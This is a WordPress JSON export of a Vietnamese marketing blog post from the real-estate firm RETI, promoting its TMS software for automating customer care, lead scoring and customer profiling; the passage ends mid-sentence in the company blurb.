{"id":32144,"date":"2021-11-02T09:56:38","date_gmt":"2021-11-02T02:56:38","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=32144"},"modified":"2025-10-22T03:54:01","modified_gmt":"2025-10-21T20:54:01","slug":"ung-dung-he-thong-tms-de-tu-dong-hoa-quy-trinh-cham-soc-khach-hang","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/ung-dung-he-thong-tms-de-tu-dong-hoa-quy-trinh-cham-soc-khach-hang\/","title":{"rendered":"\u1ee8ng d\u1ee5ng h\u1ec7 th\u1ed1ng TMS \u0111\u1ec3 t\u1ef1 \u0111\u1ed9ng h\u00f3a quy tr\u00ecnh ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>Ph\u1ea7n m\u1ec1m TMS t\u00edch h\u1ee3p \u0111a d\u1ea1ng c\u00e1c ch\u1ee9c n\u0103ng cho ph\u00e9p h\u1ed7 tr\u1ee3 t\u1ef1 \u0111\u1ed9ng h\u00f3a v\u00e0 qu\u1ea3n l\u00fd c\u00e1c ho\u1ea1t \u0111\u1ed9ng kinh doanh c\u1ee7a doanh nghi\u1ec7p. H\u00e3y c\u00f9ng <\/em><a href=\"http:\/\/reti.vn\"><em>RETI<\/em><\/a><em> t\u00ecm hi\u1ec3u v\u1ec1 c\u00e1ch n\u1ec1n t\u1ea3ng TMS h\u1ed7 tr\u1ee3 Sales Agent ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y.<\/em><\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_83 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a1438b592be2\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a1438b592be2\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/ung-dung-he-thong-tms-de-tu-dong-hoa-quy-trinh-cham-soc-khach-hang\/#Tai_sao_nen_dung_he_thong_TMS_de_cai_thien_quy_trinh_cham_soc_khach_hang\" >T\u1ea1i sao n\u00ean d\u00f9ng h\u1ec7 th\u1ed1ng TMS \u0111\u1ec3 c\u1ea3i thi\u1ec7n quy tr\u00ecnh ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/ung-dung-he-thong-tms-de-tu-dong-hoa-quy-trinh-cham-soc-khach-hang\/#Ung_dung_he_thong_TMS_de_danh_gia_chat_luong_lead_khach_hang_tiem_nang\" >\u1ee8ng d\u1ee5ng h\u1ec7 th\u1ed1ng TMS \u0111\u1ec3 \u0111\u00e1nh gi\u00e1 ch\u1ea5t l\u01b0\u1ee3ng lead (kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/ung-dung-he-thong-tms-de-tu-dong-hoa-quy-trinh-cham-soc-khach-hang\/#Ung_dung_he_thong_TMS_de_tu_dong_hoa_quy_trinh_cham_soc_khach_hang\" >\u1ee8ng d\u1ee5ng h\u1ec7 th\u1ed1ng TMS \u0111\u1ec3 t\u1ef1 \u0111\u1ed9ng h\u00f3a quy tr\u00ecnh ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/ung-dung-he-thong-tms-de-tu-dong-hoa-quy-trinh-cham-soc-khach-hang\/#Ung_dung_TMS_trong_doanh_nghiep_de_xay_dung_chan_dung_khach_hang\" >\u1ee8ng d\u1ee5ng TMS trong doanh nghi\u1ec7p \u0111\u1ec3 x\u00e2y d\u1ef1ng ch\u00e2n dung kh\u00e1ch h\u00e0ng<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tai_sao_nen_dung_he_thong_TMS_de_cai_thien_quy_trinh_cham_soc_khach_hang\"><\/span><strong>T\u1ea1i sao n\u00ean d\u00f9ng h\u1ec7 th\u1ed1ng TMS \u0111\u1ec3 c\u1ea3i thi\u1ec7n quy tr\u00ecnh ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Theo th\u1ed1ng k\u00ea, m\u1ed9t b\u1ed9 ph\u1eadn kh\u00f4ng nh\u1ecf doanh nghi\u1ec7p Vi\u1ec7t v\u1eabn \u0111ang \u00e1p d\u1ee5ng c\u00e1ch ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng truy\u1ec1n th\u1ed1ng, \u0111\u00f3 l\u00e0 ghi ch\u00e9p, sao l\u01b0u excel v\u00e0 telesales. \u0110\u1ebfn khi d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng ng\u00e0y m\u1ed9t nhi\u1ec1u th\u00ec ch\u00fang ta kh\u00f4ng th\u1ec3 gi\u1eef m\u00e3i c\u00e1ch ch\u0103m s\u00f3c c\u0169 \u0111\u01b0\u1ee3c b\u1edfi hi\u1ec7u qu\u1ea3 kh\u00f4ng cao, thi\u1ebfu t\u00ednh chuy\u00ean nghi\u1ec7p v\u00e0 \u0111\u00f3 c\u0169ng kh\u00f4ng ph\u1ea3i c\u00e1ch hay n\u1ebfu doanh nghi\u1ec7p mu\u1ed1n m\u1edf r\u1ed9ng quy m\u00f4. L\u00fac n\u00e0y \u0111i\u1ec1u c\u1ea7n thi\u1ebft b\u1ea1n c\u1ea7n l\u00e0m \u0111\u00f3 l\u00e0 ngh\u0129 t\u1edbi vi\u1ec7c s\u1ed1 h\u00f3a quy tr\u00ecnh l\u00e0m vi\u1ec7c \u0111\u1ec3 n\u00e2ng cao hi\u1ec7u qu\u1ea3, ti\u1ebft ki\u1ec7m th\u1eddi gian, nh\u00e2n l\u1ef1c v\u00e0 c\u1ea3 chi ph\u00ed.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">TMS l\u00e0 vi\u1ebft t\u1eaft c\u1ee7a c\u1ee5m t\u1eeb Transaction Management System, t\u1ea1m d\u1ecbch l\u00e0 h\u1ec7 th\u1ed1ng qu\u1ea3n l\u00fd c\u00e1c giao d\u1ecbch c\u01a1 s\u1edf d\u1eef li\u1ec7u. Ph\u1ea7n m\u1ec1m TMS \u0111\u00f3ng vai tr\u00f2 quan tr\u1ecdng trong vi\u1ec7c gi\u00fap CEO \u0111\u1ecbnh h\u01b0\u1edbng r\u00f5 r\u00e0ng tr\u00ean con \u0111\u01b0\u1eddng x\u00e2y d\u1ef1ng v\u00e0 ph\u00e1t tri\u1ec3n c\u1ee7a doanh nghi\u1ec7p, cho ph\u00e9p doanh nghi\u1ec7p \u0111\u00e0o s\u00e2u v\u00e0o m\u1ed1i quan h\u1ec7 v\u1edbi c\u00e1c kh\u00e1ch h\u00e0ng, nh\u00e2n vi\u00ean, \u0111\u1ed1i t\u00e1c v\u00e0 nh\u00e0 cung c\u1ea5p.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">N\u00f3 \u0111\u01b0\u1ee3c xem nh\u01b0 l\u00e0 m\u1ed9t chi\u1ebfn l\u01b0\u1ee3c v\u00e0 c\u1ea7u n\u1ed1i c\u1ee7a t\u1ea5t c\u1ea3 doanh nghi\u1ec7p trong vi\u1ec7c x\u00e2y d\u1ef1ng v\u00e0 ph\u00e1t tri\u1ec3n m\u1ed1i quan h\u1ec7 g\u1eafn b\u00f3 ch\u1eb7t ch\u1ebd v\u1edbi kh\u00e1ch h\u00e0ng th\u00f4ng qua vi\u1ec7c nghi\u00ean c\u1ee9u, t\u1ed5ng h\u1ee3p, n\u1eafm b\u1eaft nh\u1eefng nhu c\u1ea7u, mong mu\u1ed1n c\u1ee7a kh\u00e1ch h\u00e0ng, th\u00f3i quen c\u0169ng nh\u01b0 xu h\u01b0\u1edbng, s\u1edf th\u00edch ti\u00eau d\u00f9ng c\u1ee7a m\u1ed7i kh\u00e1ch h\u00e0ng, \u2026 \u0110\u1ec3 t\u1eeb \u0111\u00f3 thi\u1ebft l\u1eadp n\u00ean m\u1ed9t h\u1ec7 th\u1ed1ng qu\u1ea3n l\u00fd c\u00e1c th\u00f4ng tin kh\u00e1ch h\u00e0ng (nh\u01b0 t\u00e0i kho\u1ea3n, th\u00f4ng tin li\u00ean l\u1ea1c, nhu c\u1ea7u,\u2026) m\u1ed9t c\u00e1ch b\u00e0i b\u1ea3n, nh\u1eb1m m\u1ee5c \u0111\u00edch mang \u0111\u1ebfn s\u1ef1 ph\u1ee5c v\u1ee5 t\u1ed1t nh\u1ea5t trong vi\u1ec7c ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u1ecdc th\u00eam <a href=\"https:\/\/reti.vn\/blog\/vi-sao-nen-quan-ly-du-lieu-khach-hang-bang-phan-mem-tms\/\">V\u00ec sao n\u00ean qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng b\u1eb1ng ph\u1ea7n m\u1ec1m TMS<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Hi\u1ec3u m\u1ed9t c\u00e1ch n\u00f4m na th\u00ec h\u1ec7 th\u1ed1ng TMS \u00e1p d\u1ee5ng ph\u1ea7n m\u1ec1m v\u1edbi m\u1ee5c \u0111\u00edch theo d\u00f5i c\u00e1c d\u1eef li\u1ec7u th\u00f4ng tin kh\u00e1ch h\u00e0ng. \u0110\u1ed1i v\u1edbi m\u1ed9t h\u1ec7 th\u1ed1ng TMS c\u00f3 nhi\u1ec1u t\u00ednh n\u0103ng n\u00e2ng cao h\u01a1n th\u00ec \u0111\u00f2i h\u1ecfi c\u00f3 s\u1ef1 k\u1ebft h\u1ee3p c\u1ee7a c\u00e1c y\u1ebfu t\u1ed1: ch\u00ednh s\u00e1ch, th\u00f4ng tin, nh\u00e2n l\u1ef1c, c\u00e1c chi\u1ebfn l\u01b0\u1ee3c c\u00f4ng ty nh\u1eb1m thu h\u00fat v\u00e0 gi\u1eef ch\u00e2n kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/DPznmqo.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><figcaption> TMS l\u00e0 m\u1ed9t chi\u1ebfn l\u01b0\u1ee3c v\u00e0 c\u1ea7u n\u1ed1i c\u1ee7a t\u1ea5t c\u1ea3 doanh nghi\u1ec7p trong vi\u1ec7c x\u00e2y d\u1ef1ng v\u00e0 ph\u00e1t tri\u1ec3n m\u1ed1i quan h\u1ec7 g\u1eafn b\u00f3 ch\u1eb7t ch\u1ebd v\u1edbi kh\u00e1ch h\u00e0ng <\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Ph\u1ea7n m\u1ec1m TMS bao g\u1ed3m t\u1eadp h\u1ee3p c\u00e1c ch\u1ee9c n\u0103ng kinh doanh quan tr\u1ecdng v\u00e0 \u0111a d\u1ea1ng, cho ph\u00e9p h\u1ed7 tr\u1ee3 v\u00e0 t\u1ef1 \u0111\u1ed9ng h\u00f3a qu\u1ea3n l\u00fd t\u1ed1i \u01b0u c\u00e1c ho\u1ea1t \u0111\u1ed9ng kinh doanh, nh\u1eb1m g\u00f3p ph\u1ea7n t\u0103ng hi\u1ec7u qu\u1ea3 trong vi\u1ec7c ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng. C\u00e1c ch\u1ee9c n\u0103ng quan tr\u1ecdng \u0111i\u1ec3n h\u00ecnh k\u1ec3 \u0111\u1ebfn nh\u01b0: Qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng, Qu\u1ea3n l\u00fd giao d\u1ecbch (t\u1ef1 \u0111\u1ed9ng h\u00f3a b\u00e1n h\u00e0ng), Theo d\u00f5i hi\u1ec7u su\u1ea5t b\u00e1n h\u00e0ng v\u00e0 <a href=\"https:\/\/reti.vn\/blog\/reti-tms-ra-mat-tinh-nang-moi-thu-vien-tai-lieu-du-an\/\">Th\u01b0 vi\u1ec7n t\u00e0i li\u1ec7u d\u1ef1 \u00e1n<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">D\u1ecbch v\u1ee5 h\u1ed7 tr\u1ee3 kh\u00e1ch h\u00e0ng l\u00e0 h\u1ec7 th\u1ed1ng cho ph\u00e9p t\u00ednh n\u0103ng theo d\u00f5i, qu\u1ea3n l\u00fd c\u00e1c ho\u1ea1t \u0111\u1ed9ng d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng v\u00e0 c\u00e1c v\u1ea5n \u0111\u1ec1 c\u1ea7n h\u1ed7 tr\u1ee3. \u0110\u00e2y c\u0169ng t\u1ea1o n\u00ean m\u1ed9t s\u1ef1 kh\u00e1c bi\u1ec7t l\u1edbn gi\u1eefa c\u00e1c doanh nghi\u1ec7p, h\u1ec7 th\u1ed1ng TMS gi\u00fap h\u1ecd n\u00e2ng cao v\u00e0 c\u1ea3i ti\u1ebfn kinh nghi\u1ec7m ph\u1ee5c v\u1ee5 kh\u00e1ch h\u00e0ng, \u0111\u1ed3ng th\u1eddi t\u1ed1i \u01b0u hi\u1ec7u qu\u1ea3 v\u00e0 gi\u1ea3m thi\u1ec3u chi ph\u00ed t\u1ed1i \u0111a.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">TMS c\u0169ng cung c\u1ea5p c\u00e1c c\u00f4ng c\u1ee5 qu\u1ea3n l\u00fd khi g\u1eb7p c\u00e1c v\u1ea5n \u0111\u1ec1 y\u00eau c\u1ea7u ph\u00e1t sinh c\u1ee7a kh\u00e1ch h\u00e0ng, cung c\u1ea5p ki\u1ebfn th\u1ee9c c\u01a1 s\u1edf \u0111\u1ebf gi\u00fap kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 t\u1ef1 ph\u1ee5c v\u1ee5 khi c\u1ea7n, v\u00e0 gi\u00fap nh\u00e2n vi\u00ean c\u00f3 th\u1ec3 ph\u1ee5c v\u1ee5 \u0111\u00e1p \u1ee9ng c\u00e1c y\u00eau c\u1ea7u kh\u00e1ch h\u00e0ng c\u00e1ch nhanh ch\u00f3ng, k\u1ecbp th\u1eddi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&gt;&gt;&gt; <a href=\"https:\/\/reti.vn\/blog\/nen-tang-tms-giup-cai-thien-viec-to-chuc-va-quan-ly-thong-tin\/\">N\u1ec1n t\u1ea3ng TMS gi\u00fap c\u1ea3i thi\u1ec7n vi\u1ec7c t\u1ed5 ch\u1ee9c v\u00e0 qu\u1ea3n l\u00fd th\u00f4ng tin<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ung_dung_he_thong_TMS_de_danh_gia_chat_luong_lead_khach_hang_tiem_nang\"><\/span><strong>\u1ee8ng d\u1ee5ng h\u1ec7 th\u1ed1ng TMS \u0111\u1ec3 \u0111\u00e1nh gi\u00e1 ch\u1ea5t l\u01b0\u1ee3ng lead (kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Kh\u00f4ng ph\u1ea3i m\u1ecdi lead \u0111\u1ec1u c\u00f3 kh\u1ea3 n\u0103ng chuy\u1ec3n \u0111\u1ed5i nh\u01b0 nhau. C\u00f3 nh\u1eefng ng\u01b0\u1eddi cung c\u1ea5p th\u00f4ng tin c\u00e1 nh\u00e2n \u0111\u01a1n thu\u1ea7n l\u00e0 \u0111\u1ec3 t\u1ea3i t\u00e0i li\u1ec7u; c\u00f3 nh\u1eefng ng\u01b0\u1eddi \u0111\u00e3 \u0111\u1ebfn giai \u0111o\u1ea1n c\u00e2n nh\u1eafc, ch\u1ec9 c\u1ea7n gi\u1ea3i quy\u1ebft nh\u1eefng b\u0103n kho\u0103n t\u1ed3n \u0111\u1ecdng l\u00e0 c\u00f3 th\u1ec3 chuy\u1ec3n \u0111\u1ed5i th\u00e0nh c\u00f4ng. V\u00e0 l\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 bi\u1ebft li\u00ean h\u1ec7 v\u1edbi ai, ch\u1ed1t sales th\u1eddi \u0111i\u1ec3m n\u00e0o, l\u00fac n\u00e0y b\u1ea1n s\u1ebd c\u1ea7n t\u1edbi TMS.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">H\u1ec7 th\u1ed1ng TMS gi\u00fap \u0111\u00e0o s\u00e2u ph\u00e2n t\u00edch h\u00e0nh vi kh\u00e1ch h\u00e0ng trong qu\u00e1 kh\u1ee9 \u0111\u1ec3 t\u00ecm ra nh\u1eefng quy lu\u1eadt, ti\u00eau ch\u00ed chung. \u0110\u00f3 c\u00f3 th\u1ec3 l\u00e0 nh\u1eefng ghi ch\u00fa th\u00f4ng qua c\u00e1c ho\u1ea1t \u0111\u1ed9ng t\u01b0 v\u1ea5n nh\u01b0 m\u1ee9c \u0111\u1ed9 quan t\u00e2m, b\u0103n kho\u0103n v\u1ec1 gi\u00e1 ho\u1eb7c c\u00e1c v\u1ea5n \u0111\u1ec1 kh\u00e1c.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">D\u1ef1a v\u00e0o nh\u1eefng thi\u1ebft l\u1eadp ban \u0111\u1ea7u v\u00e0 qu\u00e1 tr\u00ecnh \u201cm\u00e1y h\u1ecdc\u201d di\u1ec5n ra li\u00ean t\u1ee5c, khi d\u1eef li\u1ec7u c\u00e0ng l\u1edbn, b\u1ea1n c\u00e0ng d\u1ec5 d\u00e0ng ph\u00e2n lo\u1ea1i \u0111\u01b0\u1ee3c \u0111\u00e2u l\u00e0 nh\u1eefng kh\u00e1ch h\u00e0ng c\u00f3 kh\u1ea3 n\u0103ng chuy\u1ec3n \u0111\u1ed5i cao, \u0111\u00e2u l\u00e0 \u0111\u1ed1i t\u01b0\u1ee3ng c\u1ea7n d\u00e0nh nhi\u1ec1u th\u1eddi gian ch\u0103m s\u00f3c h\u01a1n tr\u01b0\u1edbc khi t\u01b0 v\u1ea5n tr\u1edf l\u1ea1i.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/2SdBrcA.png\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><figcaption>TMS gi\u00fap \u0111\u00e0o s\u00e2u ph\u00e2n t\u00edch h\u00e0nh vi kh\u00e1ch h\u00e0ng trong qu\u00e1 kh\u1ee9 \u0111\u1ec3 t\u00ecm ra nh\u1eefng quy lu\u1eadt, ti\u00eau ch\u00ed chung<\/figcaption><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ung_dung_he_thong_TMS_de_tu_dong_hoa_quy_trinh_cham_soc_khach_hang\"><\/span><strong>\u1ee8ng d\u1ee5ng h\u1ec7 th\u1ed1ng TMS \u0111\u1ec3 t\u1ef1 \u0111\u1ed9ng h\u00f3a quy tr\u00ecnh ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Kh\u00f4ng ph\u1ea3i m\u1ecdi cold lead \u2013 nh\u1eefng lead ch\u01b0a c\u00f3 kh\u1ea3 n\u0103ng chuy\u1ec3n \u0111\u1ed5i \u0111\u1ec1u v\u00f4 gi\u00e1 tr\u1ecb. \u0110\u00f4i khi h\u1ecd ch\u1ec9 ch\u01b0a s\u1eb5n s\u00e0ng th\u00f4i. V\u1eady l\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 h\u1ecd tr\u1edf n\u00ean s\u1eb5n s\u00e0ng? \u0110i\u1ec1u n\u00e0y ph\u1ee5 thu\u1ed9c v\u00e0o vi\u1ec7c \u0111\u1ed1i t\u01b0\u1ee3ng m\u1ee5c ti\u00eau \u0111ang d\u1eebng l\u1ea1i \u1edf \u0111\u00e2u tr\u00ean h\u00e0nh tr\u00ecnh ra quy\u1ebft \u0111\u1ecbnh. N\u1ebfu h\u1ecd ch\u1ec9 \u0111ang \u2018loanh quanh\u2019 trong qu\u00e1 tr\u00ecnh t\u00ecm hi\u1ec3u, h\u00e3y ti\u1ebfp t\u1ee5c ch\u0103m s\u00f3c v\u00e0 \u0111i\u1ec1u h\u01b0\u1edbng h\u1ecd \u0111\u1ebfn nh\u1eefng giai \u0111o\u1ea1n ti\u1ebfp theo.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ung_dung_TMS_trong_doanh_nghiep_de_xay_dung_chan_dung_khach_hang\"><\/span><strong>\u1ee8ng d\u1ee5ng TMS trong doanh nghi\u1ec7p \u0111\u1ec3 x\u00e2y d\u1ef1ng ch\u00e2n dung kh\u00e1ch h\u00e0ng<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">H\u1ec7 th\u1ed1ng CRM c\u0169ng l\u00e0 c\u00f4ng c\u1ee5 gi\u00fap doanh nghi\u1ec7p ho\u00e0n thi\u1ec7n ch\u00e2n dung kh\u00e1ch h\u00e0ng, t\u1eeb \u0111\u00f3 \u0111\u01b0a ra nh\u1eefng \u0111\u1ecbnh h\u01b0\u1edbng t\u1ed1i \u01b0u cho chi\u1ebfn d\u1ecbch inbound marketing. Inbound marketing l\u00e0 chi\u1ebfn l\u01b0\u1ee3c thu h\u00fat \u0111\u1ed1i t\u01b0\u1ee3ng m\u1ee5c ti\u00eau d\u1ef1a tr\u00ean nh\u1eefng n\u1ed9i dung \u0111\u01b0\u1ee3c c\u00e1 nh\u00e2n h\u00f3a. B\u1edfi v\u1eady x\u00e2y d\u1ef1ng \u0111\u01b0\u1ee3c ch\u00e2n dung kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng l\u00e0 \u0111i\u1ec1u v\u00f4 c\u00f9ng quan tr\u1ecdng nh\u01b0ng l\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 t\u00ecm th\u1ea5y h\u1ecd tr\u00ean digital l\u1ea1i c\u00e0ng quan tr\u1ecdng h\u01a1n. L\u00fac n\u00e0y, b\u1ea1n s\u1ebd ph\u1ea3i li\u00ean t\u1ee5c th\u1eed nghi\u1ec7m v\u00e0 nh\u1eefng k\u1ebft qu\u1ea3 \u201ch\u1ecdc\u201d \u0111\u01b0\u1ee3c t\u1eeb TMS s\u1ebd gi\u00fap doanh nghi\u1ec7p:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>D\u1ea7n d\u1ea7n kh\u1eafc h\u1ecda ch\u00e2n dung kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng qua h\u00e0nh vi, s\u1edf th\u00edch tr\u00ean digital.<\/li><li>T\u00ecm ra nh\u1eefng m\u1eabu kh\u00e1ch h\u00e0ng m\u1edbi trong qu\u00e1 tr\u00ecnh th\u1eed nghi\u1ec7m.<\/li><li>D\u1ef1a tr\u00ean nh\u1eefng \u0111\u1eb7c t\u00ednh t\u00ecm \u0111\u01b0\u1ee3c, doanh nghi\u1ec7p ho\u00e0n to\u00e0n c\u00f3 th\u1ec3 n\u00e2ng cao t\u1ef7 l\u1ec7 chuy\u1ec3n \u0111\u1ed5i v\u1edbi n\u1ed9i dung, th\u00f4ng \u0111i\u1ec7p thi\u1ebft k\u1ebf ri\u00eang cho t\u1eebng nh\u00f3m kh\u00e1ch h\u00e0ng.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng l\u00e0 b\u01b0\u1edbc g\u1eafn k\u1ebft gi\u1eefa con ng\u01b0\u1eddi v\u1edbi c\u00e1c quy tr\u00ecnh v\u00e0 d\u1eef li\u1ec7u \u0111\u1ec3 doanh nghi\u1ec7p c\u00f3 th\u1ec3 ph\u1ee5c v\u1ee5 v\u00e0 gi\u1eef ch\u00e2n kh\u00e1ch h\u00e0ng hi\u1ec7n c\u00f3. \u0110\u1ed3ng th\u1eddi thu h\u00fat kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng m\u1edbi ph\u1ee5c v\u1ee5 cho qu\u00e1 tr\u00ecnh b\u00e1n h\u00e0ng.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/DvoerIx.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><figcaption> \u1ee8ng d\u1ee5ng TMS trong doanh nghi\u1ec7p \u0111\u1ec3 x\u00e2y d\u1ef1ng ch\u00e2n dung kh\u00e1ch h\u00e0ng <\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">TMS gi\u00fap doanh nghi\u1ec7p t\u01b0\u01a1ng t\u00e1c v\u1edbi kh\u00e1ch h\u00e0ng th\u00f4ng qua c\u00e1c k\u00eanh nh\u01b0 li\u00ean h\u1ec7 tr\u1ef1c ti\u1ebfp, \u0111i\u1ec7n tho\u1ea1i, web, email v\u00e0 h\u1ed7 tr\u1ee3 s\u1ef1 ph\u1ed1i h\u1ee3p gi\u1eefa c\u00e1c nh\u00f3m nh\u00e2n vi\u00ean v\u1edbi c\u00e1c k\u00eanh kh\u00e1ch h\u00e0ng d\u1ec5 d\u00e0ng, nhanh ch\u00f3ng, n\u00e2ng cao ch\u1ea5t l\u01b0\u1ee3ng ph\u1ee5c v\u1ee5 c\u1ee7a doanh nghi\u1ec7p.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C\u00f3 th\u1ec3 b\u1ea1n quan t\u00e2m <a href=\"https:\/\/agent.reti.vn\/tinh-nang-noi-bat-cua-tms-bat-dong-san-ban-nen-biet\/\">C\u00e1c t\u00ednh n\u0103ng n\u1ed5i b\u1eadt c\u1ee7a TMS b\u1ea5t \u0111\u1ed9ng s\u1ea3n m\u00e0 b\u1ea1n n\u00ean bi\u1ebft<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u1ec3 t\u00ecm hi\u1ec3u th\u00eam v\u1ec1 TMS, truy c\u1eadp <a href=\"https:\/\/tms.reti.vn\/\">https:\/\/tms.reti.vn\/<\/a> \u0111\u1ec3 bi\u1ebft th\u00eam th\u00f4ng tin chi ti\u1ebft.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>RETI l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7. B\u1eb1ng s\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa c\u00f4ng ngh\u1ec7 v\u00e0 con ng\u01b0\u1eddi, n\u1ec1n t\u1ea3ng giao d\u1ecbch B\u0110S online v\u00e0 ph\u01b0\u01a1ng th\u1ee9c offline, RETI ch\u1eafc ch\u1eafn mang l\u1ea1i 